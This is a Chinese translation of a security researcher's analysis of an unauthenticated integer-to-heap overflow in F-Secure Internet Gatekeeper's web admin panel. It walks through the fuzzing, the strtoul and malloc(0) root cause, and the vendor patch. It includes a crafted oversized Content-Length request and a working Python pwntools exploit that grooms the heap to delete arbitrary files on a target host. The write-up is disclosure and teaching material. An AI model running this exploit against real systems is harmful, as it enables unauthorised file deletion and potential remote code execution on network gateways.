F-Secure Internet Gatekeeper堆溢出RCE漏洞分析
2020-09-28 11:20:00 Author: www.4hou.com(查看原文) 阅读量:186 收藏

导语:这篇文章我会分析在F-Secure Internet Gatekeeper程序中发现的漏洞,通过一个简单的bug如何导致可利用的未经身份验证的远程代码执行漏洞。

这篇文章我会分析在F-Secure Internet Gatekeeper程序中发现的漏洞,通过一个简单的bug如何导致可利用的未经身份验证的远程代码执行漏洞。

0x01  环境配置

所有测试应在具有至少1个处理器和4GB RAM 的CentOS虚拟机中可重复进行。

需要安装F-Secure Internet Gatekeeper,可以从https://www.f-secure.com/en/business/downloads/internet-gatekeeper下载。但是据我们所知,供应商不再提供粗存在漏洞的版本。

受影响的程序包具有以下SHA256哈希值:

1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。

继续安装:

1. 如果使用的是x64版本的CentOS,请执行 yum install glibc.i686;

2. 使用以下命令安装Internet Gatekeeper文件: rpm -I < fsigkbin >.rpm;

3. 为获得更好的调试体验,安装gdb 8+和https://github.com/hugsy/gef

现在可以使用GHIDRA / IDA反编译器开始逆向Internet Gatekeeperl了!

0x02  漏洞分析

如F-Secure所述,Internet Gatekeeper是“在网关级别针对企业网络的高效且易于管理的保护解决方案”。

F-Secure Internet  Gatekeeper包含一个在端口9012 / tcp上运行的管理面板。这可用于控制产品中所有可用的服务和规则(HTTP代理,IMAP代理等)。这个管理面板由fsikgwebui二进制文件通过HTTP服务,该二进制文件是用C编写的。实际上,整个Web服务器都是用C / C ++编写的。有一些关于civetweb的参考,这表明可能正在使用定制版本的CivetWeb

它是用C / C ++编写的事实使我们走上了寻找通常在该语言中常见的内存破坏漏洞的道路。

很快,就可以通过使用Fuzzotron对管理面板进行模糊处理来发现本篇文章中描述的问题,而Fuzzotron使用Radamsa作为底层引擎。fuzzotron内置的TCP支持可轻松模糊测试网络服务。对于种子,我们提取了一个有效的POST请求,该请求用于更改管理面板上的语言。该请求可以由未经身份验证的用户执行,因此非常适合作为模糊测试的种子。

分析突变的输入时,通过radamsa我们可以很快看到漏洞的根本原因是Content-length标题。导致软件崩溃的生成的测试具有以下标头值:Content-Length: 21487483844,这表明是由于不正确的整数导致溢出的。

通过在gdb测试运行后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。此方法负责处理传入的连接,并将它们分配给相关的函数,具体取决于所使用的HTTP,路径或cookie。

为了演示该问题,我们将向运行管理面板的POST端口9012发送请求,我们设置了很大的Content-Length标题值。

 POST /submit HTTP/1.1
 Host: 192.168.0.24:9012
 Content-Length: 21487483844
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAA

该应用程序将解析该请求并执行该fs_httpd_get_header函数以检索内容长度,稍后,内容长度将传递给函数strtoul(String To Unsigned Long)

以下伪代码提供了控制流的摘要:

 content_len = fs_httpd_get_header(header_struct, "Content-Length");
 if ( content_len ){
    content_len_new = strtoul(content_len_old, 0, 10);
 }

strtoul通过阅读相应的man页面,可以了解函数中发生了什么。返回值 strtoul是一个无符号的long int,它可能具有最大值2^32-1(在32位系统上)。

 The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).

由于我们提供的数据Content-Length对于无符号long int而言太大,因此strtoul将返回对应0xFFFFFFFF于32位系统的ULONG_MAX值。

到目前为止,一切都很好,当fs_httpd_civetweb_callback_begin_request函数尝试发出malloc请求以为我们的数据腾出空间时,它首先将1加到content_length变量中,然后调用malloc。

可以在下面的伪代码中看到:

 // fs_malloc == malloc
 data_by_post_on_heap = fs_malloc(content_len_new + 1)

这会导致问题,因为该值0xFFFFFFFF + 1将导致整数溢出,结果为0x00000000,因此,malloc调用将分配0字节的内存。

Malloc确实允许使用0字节参数进行调用,当malloc(0)为有效的指针的堆空间将被返回,指向一个分配的0×10字节的最小块大小,细节也可以在手册页中阅读:

 The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().

如果我们进一步浏览Internet Gatekeeper代码,可以看到对mg_read的调用。

 // content_len_new is without the addition of 0x1.
 // so content_len_new == 0xFFFFFFFF
 if(content_len_new){
     int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
 }

在溢出期间,此代码将任意数量的数据读取到堆上,没有任何限制。对于漏洞利用而言,这是一个很好的原语,因为我们可以停止将字节写入HTTP流,并且软件将关闭连接,在这种情况下,我们可以完全控制要写入的字节数。

总而言之,我们可以利用Malloc大小为0x10的块以及任意数据的溢出来覆盖现有的内存结构,以下PoC证明了这一点。尽管非常原始,但它通过将标志翻转到来利用堆上的现有结构should_delete_file = true,然后使用要删除的文件的完整路径对堆进行喷射。Internet Gatekeeper内部处理程序具有一种decontruct_http用于查找此标志并删除文件的方法。通过利用此漏洞,攻击者可以获得任意文件删除,足以证明漏洞的严重性。

 from pwn import *
 import time
 import sys
 
 
 
 def send_payload(payload, content_len=21487483844, nofun=False):
     r = remote(sys.argv[1], 9012)
     r.send("POST / HTTP/1.1\n")
     r.send("Host: 192.168.0.122:9012\n")
     r.send("Content-Length: {}\n".format(content_len))
     r.send("\n")
     r.send(payload)
     if not nofun:
         r.send("\n\n")
     return r
 
 
 def trigger_exploit():
     print "Triggering exploit"
     payload = ""
     payload += "A" * 12             # Padding
     payload += p32(0x1d)            # Fast bin chunk overwrite
     payload += "A"* 488             # Padding
     payload += p32(0xdda00771)      # Address of payload
     payload += p32(0xdda00771+4)    # Junk
     r = send_payload(payload)
 
 
 
 def massage_heap(filename):
         print "Trying to massage the heap....."
         for x in xrange(100):
             payload = ""
             payload += p32(0x0)             # Needed to bypass checks
             payload += p32(0x0)             # Needed to bypass checks
             payload += p32(0xdda0077d)      # Points to where the filename will be in memory
             payload += filename + "\x00"
             payload += "C"*(0x300-len(payload))
             r = send_payload(payload, content_len=0x80000, nofun=True)
             r.close()
             cut_conn = True
         print "Heap massage done"
 
 
 if __name__ == "__main__":
     if len(sys.argv) != 3:
         print "Usage: ./{}  ".format(sys.argv[0])
         print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
         exit()
     massage_heap(sys.argv[2])
     time.sleep(1)
     trigger_exploit()
     print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])

当前的漏洞利用可靠性大约占总尝试次数的60-70%,我们的漏洞利用PoC依赖于前提条件中列出的特定主机版本。

可以进行RCE,因为我们可以控制确切的块大小,并覆盖想要的块上尽可能多的数据。此外,该应用程序使用多个线程,可以利用这些线程进入干净的堆区域并尝试多次利用。

此漏洞已在F-Secure Internet Gatekeeper版本5.40 – 5.50修补程序8(2019-07-11)中修复。

0x03 学习堆利用资源

利用

· Linux Heap Exploitation Intro Series: Set you free() – part 1

· Linux Heap Exploitation Intro Series: Set you free() – part 2

GLibC

· GLibC Malloc for Exploiters - YouTube

· Understanding the GLibC Implementation - Part 1

· Understanding the GLibC Implementation - Part 2

工具

· GEF  -GDB的附件,此外,它还有一些有用的命令,可进行堆漏洞利用调试

· Villoc -在HTML中图形化显示堆

本文翻译自:https://blog.doyensec.com/2020/02/03/heap-exploit.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/1BXV
如有侵权请联系:admin#unsafe.sh